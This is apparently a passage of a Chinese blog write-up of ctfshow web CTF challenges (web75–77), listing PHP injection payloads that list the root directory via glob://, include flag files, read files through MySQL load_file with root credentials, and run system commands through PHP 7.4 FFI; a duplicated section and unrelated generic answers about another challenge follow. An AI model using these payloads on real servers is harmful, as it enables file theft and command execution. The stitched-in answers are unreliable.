c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
根据路径,去根目录访问flag36.txt
利用文件包含     //文件包含此题禁用
c=include('/flag36.txt');exit();
c=require('/flag36.txt');exit();
c=require_once('/flag36.txt');exit();
c=include_once('/flag36.txt');exit();
//引入新姿势   数据库读取文件,数据库的用户名密码可以通过前几道题得到,那前几道题岂不是也能这么做?
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

做题姿势和上一题基本一样

根据上几题的payload,过滤掉了print_r()var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();		//本题禁用
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前目录
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取根目录,本题禁用
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flag36d.txt
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
根据路径,去根目录访问flag36d.txt
利用文件包含     //文件包含此题禁用
c=include('/flag36.txt');exit();
c=require('/flag36.txt');exit();
c=require_once('/flag36.txt');exit();
c=include_once('/flag36.txt');exit();
//引入新姿势   数据库读取文件,数据库的用户名密码可以通过前几道题得到,那前几道题岂不是也能这么做?
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

先复制下来上面题的payload,然后测试,找不同

命令接口

根据上几题的payload,过滤掉了print_r()var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();		//本题禁用
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前目录
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取根目录,本题禁用
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flag36x.txt
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
根据路径,去根目录访问flag36x.txt
利用文件包含     //文件包含此题禁用
c=include('/flag36.txt');exit();
c=require('/flag36.txt');exit();
c=require_once('/flag36.txt');exit();
c=include_once('/flag36.txt');exit();
//引入新姿势   数据库读取文件,数据库的用户名密码可以通过前几道题得到,那前几道题岂不是也能这么做?
//然而这道题竟然不能这么做
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
在题中说到php7.4,可以利用php7.4的特性
//命令接口
c=$ffi=FFI::cdef("int system(const char *command);");
$a='readflag>/var/www/html/1.txt';	
//这里放命令就行,readflag是题目里面的一个脚本$ffi->system($a);
//然后在url栏中访问1.txt

web118及以后的命令执行

欲知后事如何,请听下回分解。。。

命令接口

根据上几题的payload,过滤掉了print_r()var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();		//本题禁用
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前目录
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取根目录,本题禁用
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flag36x.txt
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
根据路径,去根目录访问flag36x.txt
利用文件包含     //文件包含此题禁用
c=include('/flag36.txt');exit();
c=require('/flag36.txt');exit();
c=require_once('/flag36.txt');exit();
c=include_once('/flag36.txt');exit();
//引入新姿势   数据库读取文件,数据库的用户名密码可以通过前几道题得到,那前几道题岂不是也能这么做?
//然而这道题竟然不能这么做
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
在题中说到php7.4,可以利用php7.4的特性
//命令接口
c=$ffi=FFI::cdef("int system(const char *command);");
$a='readflag>/var/www/html/1.txt';	
//这里放命令就行,readflag是题目里面的一个脚本$ffi->system($a);
//然后在url栏中访问1.txt

web118及以后的命令执行

欲知后事如何,请听下回分解。。。

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值